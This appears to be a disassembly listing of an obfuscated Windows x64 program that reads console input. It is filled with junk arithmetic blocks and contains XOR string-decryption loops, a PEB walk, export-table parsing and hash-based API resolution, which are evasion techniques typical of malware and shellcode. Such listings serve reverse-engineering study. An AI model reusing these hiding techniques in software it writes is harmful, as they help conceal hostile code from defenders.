xor eax, 0xafa5b131
rol eax, 0x79
popf
pushf
not eax
add eax, 0x913e5cf5
xor eax, 0xbd341d9a
rol eax, 0x74
popf
jmp 0x140428fd2
cmp r8d, 0x11
jge 0x14042aa6d
push rax
pushf
mov eax, 0xa0030604
pushf
not eax
add eax, 0xc4b491bd
xor eax, 0xa2b7c622
rol eax, 0x14
popf
pushf
not eax
add eax, 0x8bcc70b0
xor eax, 0x8224104b
rol eax, 0x87
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x1f01b51
pushf
not eax
add eax, 0x9157a72f
xor eax, 0x815d94eb
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xf073d421
xor eax, 0xba659a35
rol eax, 0xff
popf
jmp 0x140428fd2
movsxd rax, r8d
lea r9, [rsp + 0x60]
push rax
not rax
sub r9, rax
pop rax
sub r9, 1
nop dword [rax]
nop word [rax + rax]
push rax
pushf
mov eax, 0xe4decb35
pushf
not eax
add eax, 0x88ea30d0
xor eax, 0xe198652b
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xf7cfbb4b
xor eax, 0xf7589287
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xd5840ff3
xor eax, 0xd0bdb6ab
rol eax, 0x31
popf
jmp 0x140428fd2
mov eax, 0x13f47ee2
pushf
not eax
add eax, 0xb1379fb7
xor eax, 0x9a98e0b4
rol eax, 0xae
popf
pushf
not eax
add eax, 0xb9d805b8
xor eax, 0xec825009
rol eax, 0xea
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14042abbd
push rax
pushf
mov eax, 0x1c2add33
pushf
not eax
add eax, 0xbfdbd51f
xor eax, 0xe41b2c60
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xb7434f96
xor eax, 0xe7b7e3f6
rol eax, 0x61
popf
pushf
not eax
add eax, 0xd21e6e9b
xor eax, 0xeda57d2f
rol eax, 0x93
popf
pushf
not eax
add eax, 0xd01ebd24
xor eax, 0xb14a206f
rol eax, 0x3d
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x14007bcf
pushf
not eax
add eax, 0xa4d855c8
xor eax, 0xabb4afef
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xa42959ac
xor eax, 0xbcbceca9
rol eax, 0x9a
popf
jmp 0x140428fd2
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x60], xmm1
lea rax, [rsp + 0x60]
mov r8, rbx
push rax
pushf
mov eax, 0xae17ef5e
pushf
not eax
add eax, 0x90bd7e03
xor eax, 0xb619de8d
rol eax, 5
popf
pushf
not eax
add eax, 0x8aa8c85c
xor eax, 0xe81ec331
rol eax, 0xe8
popf
jmp 0x140428fd2
inc r8
cmp byte [rax + r8], 0
jne 0x14042ac8a
push rax
pushf
mov eax, 0x1715df86
pushf
not eax
add eax, 0x9d895efd
xor eax, 0xf789d674
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xfbbdc694
xor eax, 0xfe17924f
rol eax, 0x92
popf
pushf
not eax
add eax, 0xcece8ed0
xor eax, 0xc2766b96
rol eax, 0xcd
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xf8d4aaa3
pushf
not eax
add eax, 0xb78ea2d0
xor eax, 0xff2bab96
rol eax, 0x96
popf
pushf
not eax
add eax, 0x834a2ff4
xor eax, 0x8ba68cd3
rol eax, 0x99
popf
pushf
not eax
add eax, 0xe792ce46
xor eax, 0xaf548fb5
rol eax, 0x83
popf
jmp 0x140428fd2
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x50]
call fcn.14013d0f0
nop
movups xmm0, xmmword [0x1403cbb98]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x1403cbba8]
movups xmmword [rbp + 0x10], xmm1
movsd xmm0, qword [0x1403cbbb8]
movsd qword [rbp + 0x20], xmm0
movzx eax, byte [0x1403cbbc0]
mov byte [rbp + 0x28], al
mov r8d, r13d
cmp r12d, 2
jl 0x14042ad4c
push rax
pushf
mov eax, 0xc2c54380
pushf
not eax
add eax, 0xbe626344
xor eax, 0xf7536eea
rol eax, 0x94
popf
pushf
not eax
add eax, 0xb6fd135d
xor eax, 0xa5bc4675
rol eax, 0xcc
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xc6c027be
pushf
not eax
add eax, 0x8cdb18b6
xor eax, 0x85d14ae4
rol eax, 0x31
popf
pushf
not eax
add eax, 0xc96c0f4c
xor eax, 0xdaaa922e
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xf2da04a6
xor eax, 0xd2fbd972
rol eax, 4
popf
jmp 0x140428fd2
movdqa xmm5, xmmword [0x1403cc610]
movdqa xmm4, xmmword [0x1403cc650]
movdqa xmm6, xmmword [0x1403cc630]
movdqa xmm0, xmmword [0x1403cc660]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
push rax
pushf
mov eax, 0x1f57ae1b
pushf
not eax
add eax, 0xe3cd7322
xor eax, 0xd9e4a482
rol eax, 7
popf
pushf
not eax
add eax, 0x9a2e03b5
xor eax, 0x996f29d5
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xc23cd300
xor eax, 0xe810d019
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xba3ab4ac
xor eax, 0xe9456d64
rol eax, 0x8f
popf
jmp 0x140428fd2
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403cc640]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14042af67
push rax
pushf
mov eax, 0x24e08b16
pushf
not eax
add eax, 0xcbaf89ae
xor eax, 0xfe19c46e
rol eax, 0xc
popf
pushf
not eax
add eax, 0x922b28eb
xor eax, 0xff3795a4
rol eax, 0x52
popf
pushf
not eax
add eax, 0xa9b1cec7
xor eax, 0x8dca4866
rol eax, 0x1c
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xb1a58b64
pushf
not eax
add eax, 0x89a4196f
xor eax, 0xa7ac2eb2
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xe8f4a911
xor eax, 0xe4865358
rol eax, 0xff
popf
pushf
not eax
add eax, 0xe52bc8ff
xor eax, 0xb79ab920
rol eax, 0x60
popf
jmp 0x140428fd2
cmp r8d, 0x29
jge 0x14042afe6
push rax
pushf
mov eax, 0xca2d2325
pushf
not eax
add eax, 0xf96280a0
xor eax, 0x8ba46b03
rol eax, 0x12
popf
pushf
not eax
add eax, 0xa3e9cf46
xor eax, 0xc8033d01
rol eax, 0xec
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xbb75ed91
pushf
not eax
add eax, 0xbc2ec950
xor eax, 0xdef0450b
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x8e183f06
xor eax, 0xef6040bd
rol eax, 0xb4
popf
jmp 0x140428fd2
mov eax, 0xfe9ad644
pushf
not eax
add eax, 0xf150b738
xor eax, 0x9226c151
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf0636933
xor eax, 0x809502eb
rol eax, 0x16
popf
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
push rax
not eax
sub edx, eax
pop rax
sub edx, 1
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x14042b102
push rax
pushf
mov eax, 0xbd5e0527
pushf
not eax
add eax, 0x97976ab2
xor eax, 0xa55674ca
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8bdaa0d8
xor eax, 0x8401c237
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xc2175b59
xor eax, 0x883a609c
rol eax, 0x58
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x9307bb50
pushf
not eax
add eax, 0xe8189b43
xor eax, 0xc4b915e3
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xc08b4642
xor eax, 0x9ed60cff
rol eax, 0x29
popf
jmp 0x140428fd2
lea rcx, [rbp]
call fcn.14043b153
mov dword [rsp + 0x48], r13d
lea rdx, [rsp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
jmp 0x14042b150
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rsp + 0x48]
cmp eax, 1
jne 0x14042b1a9
push rax
pushf
mov eax, 0xcfa0a924
pushf
not eax
add eax, 0xf0f6b2d1
xor eax, 0xfadcb2cf
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xf61c1a08
xor eax, 0x9ba923d8
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xa50de9c8
xor eax, 0xe4405a94
rol eax, 0xec
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xf245089f
pushf
not eax
add eax, 0xff565139
xor eax, 0xef7ca82d
rol eax, 0x74
popf
pushf
not eax
add eax, 0xf67383e9
xor eax, 0x8edd17a1
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xc8a44b87
xor eax, 0xe0f2dc40
rol eax, 0x85
popf
pushf
not eax
add eax, 0xf7d6ac1f
xor eax, 0xa1029880
rol eax, 0xb2
popf
jmp 0x140428fd2
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea r14, [rbp - 0x20]
mov r15, qword [rbp - 0x20]
mov r12, qword [rbp - 8]
cmp r12, 0xf
cmova r14, r15
movabs rdi, 0xffff466fbfbbc669
pushf
not rdi
add rdi, 0x73ea267c
xor rdi, 0x7f45ccb4
rol rdi, 0x2e
popf
pushf
not rdi
add rdi, 0x6e9a8620
xor rdi, 0x403607ff
rol rdi, 0x91
popf
pushf
not rdi
add rdi, 0x4882ebb7
xor rdi, 0x60d13df6
rol rdi, 0x6a
popf
mov rsi, qword [rbp - 0x10]
cmp rsi, rdi
ja 0x14042b2d0
push rax
pushf
mov eax, 0x27b62070
pushf
not eax
add eax, 0xaed6c414
xor eax, 0xea4b3f9a
rol eax, 0x40
popf
pushf
not eax
add eax, 0x88d227e8
xor eax, 0xe6ac62bc
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x833373cb
xor eax, 0xc3c09d86
rol eax, 0x18
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xb98b5a43
pushf
not eax
add eax, 0x8ccea3b1
xor eax, 0xd9b4d130
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xf40e318a
xor eax, 0x8b9350fb
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xccb18876
xor eax, 0xa5be890e
rol eax, 0x18
popf
jmp 0x140428fd2
cmp rsi, 0xf
ja 0x14042b362
push rax
pushf
mov eax, 0x15f5a453
pushf
not eax
add eax, 0x93dfea1d
xor eax, 0xa02dc0c2
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xe7827832
xor eax, 0xe1a01d91
rol eax, 0x4b
popf
pushf
not eax
add eax, 0x83aa98ee
xor eax, 0xb380a696
rol eax, 0x53
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x183d0891
pushf
not eax
add eax, 0xf0d86a60
xor eax, 0x8259f041
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xf7976b6c
xor eax, 0xc66d687b
rol eax, 0x77
popf
pushf
not eax
add eax, 0x9b131ffb
xor eax, 0x944c9e7b
rol eax, 0x60
popf
jmp 0x140428fd2
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
jbe 0x14042b449
push rax
pushf
mov eax, 0x325be500
pushf
not eax
add eax, 0xa15a99a8
xor eax, 0xcc1d68d2
rol eax, 0xf3
popf
pushf
not eax
add eax, 0xc875bbda
xor eax, 0xae242978
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xcbbb23e4
xor eax, 0x96345b07
rol eax, 0xd
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x5d19be2b
pushf
not eax
add eax, 0xe841f68c
xor eax, 0xd4d22e73
rol eax, 0x13
popf
pushf
not eax
add eax, 0xa3670f23
xor eax, 0xa5d12143
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xf7191863
xor eax, 0xe1adc581
rol eax, 0xb2
popf
jmp 0x140428fd2
mov rbx, rdi
movabs rax, 0x1f7299c4ed
pushf
not rax
add rax, 0x6e254b3c
xor rax, 0x6f6df571
rol rax, 0xbc
popf
pushf
not rax
add rax, 0x6ebdcb12
xor rax, 0x656f63de
rol rax, 0xde
popf
add rax, 0x27
push rax
pushf
mov eax, 0x35597c23
pushf
not eax
add eax, 0xc4a697ee
xor eax, 0xeded4ac6
rol eax, 0x53
popf
pushf
not eax
add eax, 0x8d76e23b
xor eax, 0xd11f8795
rol eax, 0xca
popf
pushf
not eax
add eax, 0xb9b990e8
xor eax, 0xb37d72fa
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x89e2860e
xor eax, 0x9a13dd59
rol eax, 0x1b
popf
jmp 0x140428fd2
mov rcx, rax
call fcn.140420f62
mov rcx, rax
test rax, rax
je 0x14042b57d
push rax
pushf
mov eax, 0x4627cda0
pushf
not eax
add eax, 0xf6418da5
xor eax, 0xbd6cb951
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xc06a4085
xor eax, 0x91c26da1
rol eax, 0x43
popf
pushf
not eax
add eax, 0xeae97078
xor eax, 0xde4ba4b4
rol eax, 0xa9
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x1785688a
pushf
not eax
add eax, 0xf94800f2
xor eax, 0xc13677cf
rol eax, 0x16
popf
pushf
not eax
add eax, 0x85111c27
xor eax, 0x9b08df83
rol eax, 0x7d
popf
jmp 0x140428fd2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14042b941
mov eax, 0xc3b7def9
pushf
not eax
add eax, 0xa2eb5d2b
xor eax, 0xac5557e3
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xc266e71d
xor eax, 0x836d85b6
rol eax, 0xf
popf
pushf
not eax
add eax, 0xf229d9bb
xor eax, 0xa5abdf48
rol eax, 0x5a
popf
pushf
not eax
add eax, 0x91a5ed4a
xor eax, 0xf2bc8c51
rol eax, 0x18
popf
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14042b69f
push rax
pushf
mov eax, 0x44748543
pushf
not eax
add eax, 0xc4546adf
xor eax, 0x8f92ef7b
rol eax, 0x95
popf
pushf
not eax
add eax, 0xdc288d7d
xor eax, 0x800aa8db
rol eax, 0x18
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x78e421c8
pushf
not eax
add eax, 0xe70f2a11
xor eax, 0xf55b8f28
rol eax, 0x75
popf
pushf
not eax
add eax, 0xec044cb1
xor eax, 0xfff0c9a0
rol eax, 0xd9
popf
jmp 0x140428fd2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14042b738
push rax
pushf
mov eax, 0xac785f74
pushf
not eax
add eax, 0xfedc33cb
xor eax, 0x86f6abc3
rol eax, 0x25
popf
pushf
not eax
add eax, 0xe9f43d60
xor eax, 0xa9c89064
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xaee09454
xor eax, 0xda0981af
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xc3b74bd5
xor eax, 0xc0a36d51
rol eax, 0xc1
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x4d80e529
pushf
not eax
add eax, 0x9a57e51c
xor eax, 0xbd0150bb
rol eax, 0x85
popf
pushf
not eax
add eax, 0x9e2476af
xor eax, 0x8735d1c2
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xebc85c2a
xor eax, 0x9ca4f093
rol eax, 0x4b
popf
jmp 0x140428fd2
jmp 0x14042b527
test rcx, rcx
je 0x14042b84f
push rax
pushf
mov eax, 0x2f93dd64
pushf
not eax
add eax, 0xf27cbb21
xor eax, 0xc839e126
rol eax, 0x1b
popf
pushf
not eax
add eax, 0x802822e2
xor eax, 0xafd19d1d
rol eax, 0x5b
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x851c6f76
pushf
not eax
add eax, 0x9f782046
xor eax, 0xce687ae7
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xb8bc4341
xor eax, 0xea6b119f
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x98c65176
xor eax, 0x8fc9e23c
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x820868d9
xor eax, 0xb299ff9e
rol eax, 0x5f
popf
jmp 0x140428fd2
mov rax, r13
push rax
pushf
mov eax, 0x6d3255fd
pushf
not eax
add eax, 0xc418422f
xor eax, 0xe7cb5489
rol eax, 0x94
popf
pushf
not eax
add eax, 0xc4cfec12
xor eax, 0xb6212fb3
rol eax, 0x77
popf
pushf
not eax
add eax, 0xa6e3a356
xor eax, 0xc61eb026
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xe838597f
xor eax, 0xbe35fcae
rol eax, 0x15
popf
jmp 0x140428fd2
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rbx
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.140440c46
nop
sub rdi, rsi
mov rcx, qword [rbp - 0x30]
cmp rdi, rcx
jb 0x14042b9c4
push rax
pushf
mov eax, 0xde78571
pushf
not eax
add eax, 0xd11e7b16
xor eax, 0xf434c7c9
rol eax, 0x63
popf
pushf
not eax
add eax, 0xcaccbc95
xor eax, 0xd2ff7ee6
rol eax, 0xaf
popf
pushf
not eax
add eax, 0xd27d5e20
xor eax, 0xa6967bbd
rol eax, 0x1b
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x767b21a
pushf
not eax
add eax, 0xd8e315ef
xor eax, 0xd8eaa9b2
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xe732a99c
xor eax, 0x817817d1
rol eax, 0x91
popf
jmp 0x140428fd2
lea r9, [rbp - 0x20]
cmp r12, 0xf
cmova r9, r15
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rax, qword [rbp - 0x40]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea r8, [rbp - 0x20]
movzx edx, byte [rsp + 0x44]
lea rcx, [rbp - 0x80]
call fcn.14013d850
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
push rax
pushf
mov eax, 0xa57290e7
pushf
not eax
add eax, 0xe4b498c6
xor eax, 0xbae14305
rol eax, 0xa0
popf
pushf
not eax
add eax, 0xe128fd4e
xor eax, 0x9e61c166
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xf6b58411
xor eax, 0xaaec91eb
rol eax, 0x22
popf
jmp 0x140428fd2
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
push r10
not r10
sub rdi, r10
pop r10
sub rdi, 1
cmp rdi, r10
je 0x14042bae2
push rax
pushf
mov eax, 0x74dd5e26
pushf
not eax
add eax, 0xc9f3c764
xor eax, 0xe46a5e2a
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x94f6b711
xor eax, 0x9ec730fe
rol eax, 0xfe
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x5caabced
pushf
not eax
add eax, 0xcf394ad3
xor eax, 0xd14ff247
rol eax, 8
popf
pushf
not eax
add eax, 0xb96dfecf
xor eax, 0xf08e5c2b
rol eax, 0x2b
popf
jmp 0x140428fd2
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14042bb64
push rax
pushf
mov eax, 0x4c0843f1
pushf
not eax
add eax, 0xc5d5b672
xor eax, 0xcce27f5c
rol eax, 8
popf
pushf
not eax
add eax, 0x8e9e89b9
xor eax, 0xcd299894
rol eax, 0x83
popf
pushf
not eax
add eax, 0x9069d80e
xor eax, 0xfaa02b85
rol eax, 0xde
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x41852eb9
pushf
not eax
add eax, 0x8d09b581
xor eax, 0xa2081858
rol eax, 0x93
popf
pushf
not eax
add eax, 0xbf3b4cb0
xor eax, 0xca3fb04b
rol eax, 0x54
popf
jmp 0x140428fd2
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x989b6536
pushf
not eax
add eax, 0x9ad758a8
xor eax, 0xb61f8a15
rol eax, 2
popf
pushf
not eax
add eax, 0x82924af3
xor eax, 0xa6f7e06d
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9fc902d9
xor eax, 0x9d21342d
rol eax, 0x1d
popf
pushf
not eax
add eax, 0xfa99fc00
xor eax, 0x902ee42d
rol eax, 0xe3
popf
jmp 0x140428fd2
nop
push rax
pushf
mov eax, 0xd5e128e5
pushf
not eax
add eax, 0xeb07b0bd
xor eax, 0xc9fa058f
rol eax, 0xfd
popf
pushf
not eax
add eax, 0xdb99987b
xor eax, 0x9c514b12
rol eax, 0x86
popf
pushf
not eax
add eax, 0x82ba7a9a
xor eax, 0x96e9aa91
rol eax, 0xbd
popf
jmp 0x140428fd2
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14042bdab
push rax
pushf
mov eax, 0x81344ba1
pushf
not eax
add eax, 0xd99deb5d
xor eax, 0x90693fa9
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xaf761859
xor eax, 0xaed605a9
rol eax, 0x40
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x990c346f
pushf
not eax
add eax, 0xc44a13e6
xor eax, 0x9a8f91a8
rol eax, 0x50
popf
pushf
not eax
add eax, 0x90293401
xor eax, 0xc81d4125
rol eax, 0x74
popf
pushf
not eax
add eax, 0xdc9c6f6b
xor eax, 0xa5e3d82e
rol eax, 0xbd
popf
jmp 0x140428fd2
cmp r8d, 0xbf9f2dfd
je 0x14042be40
push rax
pushf
mov eax, 0x397da2d9
pushf
not eax
add eax, 0xeff7f574
xor eax, 0x982ea780
rol eax, 0x53
popf
pushf
not eax
add eax, 0xd556aa9f
xor eax, 0xab3678c8
rol eax, 0xa3
popf
pushf
not eax
add eax, 0xd2da1dfd
xor eax, 0x95312400
rol eax, 0x12
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x255e0855
pushf
not eax
add eax, 0x806cbbcf
xor eax, 0xd4c4cee6
rol eax, 0x50
popf
pushf
not eax
add eax, 0x9a97fb66
xor eax, 0xe97d8376
rol eax, 0xab
popf
pushf
not eax
add eax, 0xb810e149
xor eax, 0x88c9707c
rol eax, 0x9d
popf
jmp 0x140428fd2
test r9d, r9d
jne 0x14042bed1
push rax
pushf
mov eax, 0x89ae8589
pushf
not eax
add eax, 0xd91e3206
xor eax, 0xeb4cb4ca
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x9f190478
xor eax, 0x985976de
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xd2779d79
xor eax, 0xa0b0e31e
rol eax, 0x61
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x1fd72c1a
pushf
not eax
add eax, 0xbdb9d640
xor eax, 0xd45aabed
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xd05d3d77
xor eax, 0xdb7d691a
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xfcf3afa0
xor eax, 0xea86385d
rol eax, 0x88
popf
jmp 0x140428fd2
mov rax, qword [rax]
jmp 0x14042ba8c
mov ecx, dword [rdi + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rdi + 0x24]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
push r10
not r10
sub r11, r10
pop r10
sub r11, 1
lea r8, [rbp - 0x80]
mov eax, dword [str.WI_U_]
mov dword [rsp + 0x50], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
cmp qword [rbp - 0x68], 0xf
jbe 0x14042c000
push rax
pushf
mov eax, 0xa767b20a
pushf
not eax
add eax, 0xcc7badb9
xor eax, 0xad17a1bc
rol eax, 0x92
popf
pushf
not eax
add eax, 0xe6cfd613
xor eax, 0xa4df28f9
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xda3cc57b
xor eax, 0xe2be352c
rol eax, 6
popf
pushf
not eax
add eax, 0xd3bf487d
xor eax, 0xa39057a0
rol eax, 0x3d
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xf0421ed3
pushf
not eax
add eax, 0xd3d08a49
xor eax, 0x9ab2eb67
rol eax, 0xba
popf
pushf
not eax
add eax, 0xede8c374
xor eax, 0x89f13f87
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xf7cdb08c
xor eax, 0xc8df9dac
rol eax, 0x15
popf
jmp 0x140428fd2
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14042c1b4
push rax
pushf
mov eax, 0xe87ac8c4
pushf
not eax
add eax, 0xcf52d536
xor eax, 0xa5cfaa1d
rol eax, 0xab
popf
pushf
not eax
add eax, 0xb1a0c19b
xor eax, 0xf46d1f82
rol eax, 0xf8
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0x93949210
pushf
not eax
add eax, 0xc5f912c0
xor eax, 0xec8767f3
rol eax, 3
popf
pushf
not eax
add eax, 0xa142a036
xor eax, 0xe3b4c5f0
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xe109d793
xor eax, 0x945c5198
rol eax, 0x52
popf
jmp 0x140428fd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140432633
push rax
pushf
mov eax, 0xf8b0c1d1
pushf
not eax
add eax, 0xfacc9f06
xor eax, 0xe2a2d4d7
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xbb04a0ea
xor eax, 0xd109680d
rol eax, 0xfc
popf
pushf
not eax
add eax, 0xc1ee64b9
xor eax, 0xd1fcbf77
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf6c42ab7
xor eax, 0x82682e1a
rol eax, 0xa9
popf
jmp 0x140428fd2
movdqa xmm0, xmmword [0x1403cc600]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14042c3e5
push rax
pushf
mov eax, 0xab57df0c
pushf
not eax
add eax, 0x91702ca6
xor eax, 0xe462fa16
rol eax, 0x45
popf
pushf
not eax
add eax, 0x8441f48e
xor eax, 0xb1f45123
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xef11cd4d
xor eax, 0xa73df9ab
rol eax, 0x56
popf
jmp 0x140428fd2
push rax
pushf
mov eax, 0xca9f5b4
pushf
not eax
add eax, 0xaa7079a9
xor eax, 0xbb5a5598
rol eax, 0x53
popf
pushf
not eax
add eax, 0xf76a0e56
xor eax, 0xf8bf0c3e
rol eax, 0xc3
popf
pushf
not eax
add eax, 0x99c13184
xor eax, 0xb402c1f6
rol eax, 0x59
popf
jmp 0x140428fd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14042c52d
push rax
pushf
mov eax, 0x3ab0635a
pushf
not eax
add eax, 0xce83938d
xor eax, 0xa73cc378
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xb0c9ebeb
xor eax, 0xbc8c6922
rol eax, 0x89
popf
pushf
not eax
add eax, 0xc8468b98
